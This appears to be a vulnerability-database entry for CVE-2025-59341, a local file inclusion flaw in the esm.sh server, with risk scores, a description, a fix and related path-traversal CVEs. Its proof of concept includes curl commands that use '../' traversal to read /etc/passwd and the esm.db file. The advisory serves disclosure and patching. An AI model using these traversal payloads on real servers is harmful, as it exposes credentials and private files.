CVE-2025-59341High▾ MidnightPoC availableesm.sh has File Inclusion issue
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 41.3 · likelihood 0.3 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Sep 12.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
1.6%
Last analysed / modified upstream
Nuclei ×1 (last check)
A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.
Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
http://localhost:9999 with this command go run server/esmd/main.go --config=config.json{
"port": 9999,
"npmRegistry": "https://registry.npmjs.org/",
"npmToken": "******"
}
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />
Simply remove any .. in the URL path before actually process the file. See more details in this guide
github.com/esm-dev/esm.sh <= 136Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-23644Highesm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
CVE-2025-59342Mediumesm.sh has arbitrary file write via path traversal in `X-Zone-Id` header
CVE-2026-59832High· 7.7Siyuan: Authenticated path traversal in /snippets/ static handler (serveSnippets) leaks conf/conf.json secrets and siyuan.db
CVE-2026-55062High· 8.4uniget is a universal installer and updater for (container) tools
CVE-2026-54066High· 7.5SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file─read), Incomplete fix of CVE-2026-41894
CVE-2026-52813Critical· 10.0Gogs has Path Traversal in organization name that results in RCE through Git hooks